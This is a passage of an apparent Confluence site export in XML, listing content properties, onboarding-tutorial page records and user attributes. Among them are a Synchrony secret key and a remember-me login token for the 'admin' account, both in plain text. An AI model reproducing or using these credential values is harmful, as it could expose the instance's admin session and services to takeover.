<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">47510</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262238</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">3070</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262237</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262236</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262235</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262234</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">15296</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262233</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">2131</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262232</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">9446</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262231</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262230</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/jpeg]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262229</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">2398</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262228</id>
<property name="name"><![CDATA[HIDDEN]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262227</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">1</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262226</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/jpeg]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262225</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/jpeg]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262224</id>
<property name="name"><![CDATA[HIDDEN]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262223</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262222</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">1</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262221</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/png]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262220</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262219</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">7054</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262218</id>
<property name="name"><![CDATA[HIDDEN]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262217</id>
<property name="name"><![CDATA[HIDDEN]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262216</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262215</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">12098</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262214</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">27998</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262213</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">41645</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262212</id>
<property name="name"><![CDATA[HIDDEN]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262211</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">1</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262210</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/png]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262209</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">1</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262208</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/png]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262207</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">264209</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262206</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/jpeg]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262205</id>
<property name="name"><![CDATA[MEDIA_TYPE]]></property>
<property name="stringValue"><![CDATA[image/png]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262204</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">2398</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262203</id>
<property name="name"><![CDATA[HIDDEN]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262202</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262201</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">1</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262200</id>
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
<property name="stringValue"/><property name="longValue">8</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262199</id>
<property name="name"><![CDATA[MINOR_EDIT]]></property>
<property name="stringValue"/><property name="longValue">1</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262198</id>
<property name="name"><![CDATA[FILESIZE]]></property>
<property name="stringValue"/><property name="longValue">21488</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262197</id>
<property name="name"><![CDATA[macroNames]]></property>
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262196</id>
<property name="name"><![CDATA[HIDDEN]]></property>
<property name="stringValue"/><property name="longValue">0</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262195</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[32b657a6-50f7-4a6a-aaea-102ce537c268]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262194</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[c9c2e2a4-8ebc-476f-aff1-014fe92e22ec]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262193</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[d065f4f3-da57-4410-aa7b-7ff93e59a719]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262192</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[498beede-3b1d-477a-8d5a-3dea256d4fa2]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262191</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[8c741dfa-dc55-4d7e-ac8c-d3aba5a29f2a]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262190</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[9092f143-f878-4fd8-9300-7bcecd02dd02]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262189</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[576b0d46-e5b1-4ee9-9b58-c688fc240c65]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262188</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[c5547696-df60-4a59-96b4-355de741a34a]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262187</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[25c3f4c7-6755-4974-aa96-0cad5b648190]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262186</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[323e5bdf-f804-4867-920e-b006c9f2aa23]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262185</id>
<property name="name"><![CDATA[macroNames]]></property>
<property name="stringValue"><![CDATA[widget]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262184</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[30ea9299-b7f7-48f4-b0b2-00d4d0b720d8]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262183</id>
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
<property name="stringValue"/><property name="longValue">1</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262182</id>
<property name="name"><![CDATA[macroNames]]></property>
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262181</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[79351706-62d9-47b2-902e-d7f635e020b1]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262180</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[8c60c7b5-70b7-4d89-988a-b47459b91c6d]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262179</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[ad00c983-c9e3-46ab-90a4-42d016a162e5]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262178</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[aa14dd02-a368-4c44-b5a5-b997c6d519c5]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262177</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[2c73ae66-3422-43d3-8867-b99be3fd153d]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262176</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[b19a726e-f021-4386-a33a-cc4134368b29]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262175</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[be8deba8-e975-4ea2-9817-94db937c8a42]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262174</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[3c2f37c4-e102-4d53-be59-7e0ebbc80d37]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262173</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[bdb695aa-ffc0-4544-b601-08618dfe3f43]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262172</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[0e76d5df-8079-47bd-afe7-a90d92922657]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262171</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[f8ae6dc9-0915-416e-bd0c-2c2aed6f19c6]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262170</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[b41a9868-a5c0-4bd1-84c6-93910fcd12f6]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262169</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[20018262-63f0-4469-89b6-d52cce7086b2]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262168</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[1c198386-7ec9-48dd-a514-bbba0c4835e4]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262167</id>
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
<property name="stringValue"/><property name="longValue">9</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262166</id>
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
<property name="stringValue"/><property name="longValue">8</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262165</id>
<property name="name"><![CDATA[macroNames]]></property>
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262164</id>
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
<property name="stringValue"/><property name="longValue">4</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262163</id>
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
<property name="stringValue"/><property name="longValue">1</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262162</id>
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
<property name="stringValue"/><property name="longValue">12</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262161</id>
<property name="name"><![CDATA[macroNames]]></property>
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262160</id>
<property name="name"><![CDATA[macroNames]]></property>
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262159</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[97a52591-901b-4e26-b38c-23180d68189c]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262158</id>
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
<property name="stringValue"/><property name="longValue">1</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262157</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[566640c6-aa91-41f4-ba6b-7d02dc9ef2e4]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262156</id>
<property name="name"><![CDATA[macroNames]]></property>
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262155</id>
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
<property name="stringValue"/><property name="longValue">3</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262154</id>
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
<property name="stringValue"/><property name="longValue">5</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262153</id>
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
<property name="stringValue"/><property name="longValue">6</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262152</id>
<property name="name"><![CDATA[macroNames]]></property>
<property name="stringValue"/><property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262151</id>
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
<property name="stringValue"/><property name="longValue">7</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262150</id>
<property name="name"><![CDATA[macro-count.widget]]></property>
<property name="stringValue"><![CDATA[9-2]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262149</id>
<property name="name"><![CDATA[macro-create-events-published-for-version]]></property>
<property name="stringValue"/><property name="longValue">14</property>
<property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262148</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[c6887e71-b34a-4cf8-b4d4-36b53ff35592]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262147</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[881dbc25-a20d-4773-b5a8-2a402abcfd9d]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262146</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[34cd463c-b2be-49e6-9006-62679d6a59f1]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="ContentProperty" package="com.atlassian.confluence.content">
<id name="id">262145</id>
<property name="name"><![CDATA[share-id]]></property>
<property name="stringValue"><![CDATA[8b24739b-eaaa-404e-8897-e347c68f3974]]></property>
<property name="longValue"/><property name="dateValue"/></object>
<object class="Secrets" package="com.atlassian.synchrony">
<id name="key"><![CDATA[Synchrony-0fccd6a4-3e18-398a-8fe4-ff41cdd6c7ad-debug]]></id>
<property name="value"><![CDATA[ZmUL2wyLlx8ROyTY/satsTeR2J61ADRUqTnTe8Ai1og=]]></property>
</object>
<object class="ConfluenceRememberMeToken" package="com.atlassian.confluence.user.persistence.dao">
<id name="id">622593</id>
<property name="username"><![CDATA[admin]]></property>
<property name="createdTime">1699509859137</property>
<property name="token"><![CDATA[d24ab7e045f654b651978d7fb48f0ce945461128]]></property>
</object>
<object class="InternalUserAttribute" package="com.atlassian.crowd.model.user">
<id name="id">557060</id>
<property name="user" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
</property>
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
</property>
<property name="name"><![CDATA[lastAuthenticated]]></property>
<property name="value"><![CDATA[1699509892791]]></property>
<property name="lowerValue"><![CDATA[1699509892791]]></property>
</object>
<object class="InternalUserAttribute" package="com.atlassian.crowd.model.user">
<id name="id">557059</id>
<property name="user" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
</property>
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
</property>
<property name="name"><![CDATA[passwordLastChanged]]></property>
<property name="value"><![CDATA[1699509858738]]></property>
<property name="lowerValue"><![CDATA[1699509858738]]></property>
</object>
<object class="InternalUserAttribute" package="com.atlassian.crowd.model.user">
<id name="id">557058</id>
<property name="user" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
</property>
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
</property>
<property name="name"><![CDATA[invalidPasswordAttempts]]></property>
<property name="value"><![CDATA[0]]></property>
<property name="lowerValue"><![CDATA[0]]></property>
</object>
<object class="InternalUserAttribute" package="com.atlassian.crowd.model.user">
<id name="id">557057</id>
<property name="user" class="InternalUser" package="com.atlassian.crowd.model.user"><id name="id">491521</id>
</property>
<property name="directory" class="DirectoryImpl" package="com.atlassian.crowd.model.directory"><id name="id">360449</id>
</property>
<property name="name"><![CDATA[requiresPasswordChange]]></property>
<property name="value"><![CDATA[false]]></property>
<property name="lowerValue"><![CDATA[false]]></property>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98306</id>
<property name="hibernateVersion">37</property>
<property name="title"><![CDATA[Share your page with a team member (step 9 of 9)]]></property>
<property name="lowerTitle"><![CDATA[share your page with a team member (step 9 of 9)]]></property>
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163845</id>
</element>
</collection>
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196614</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196617</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196619</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196620</id>
</element>
</collection>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262151</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262165</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:51.780</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98343</id>
</element>
</collection>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position">8</property>
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98305</id>
<property name="hibernateVersion">24</property>
<property name="title"><![CDATA[Tell people what you think in a comment (step 8 of 9)]]></property>
<property name="lowerTitle"><![CDATA[tell people what you think in a comment (step 8 of 9)]]></property>
<collection name="bodyContents" class="java.util.Collection"><element class="BodyContent" package="com.atlassian.confluence.core"><id name="id">163847</id>
</element>
</collection>
<collection name="outgoingLinks" class="java.util.Collection"><element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196615</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196618</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196622</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196623</id>
</element>
<element class="OutgoingLink" package="com.atlassian.confluence.links"><id name="id">196626</id>
</element>
</collection>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262161</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262164</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:51.784</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<collection name="attachments" class="java.util.Collection"><element class="Attachment" package="com.atlassian.confluence.pages"><id name="id">98344</id>
</element>
</collection>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position">7</property>
<property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98310</id>
<property name="hibernateVersion">11</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262180</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:51.788</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98309</id>
<property name="hibernateVersion">11</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262186</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:51.792</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98308</id>
<property name="hibernateVersion">16</property>
<property name="title"/><property name="lowerTitle"/><collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262174</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:51.804</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[draft]]></property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
<property name="position"/><property name="parent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</property>
<collection name="ancestors" class="java.util.List"><element class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
</element>
</collection>
</object>
<object class="Page" package="com.atlassian.confluence.pages">
<id name="id">98307</id>
<property name="hibernateVersion">16</property>
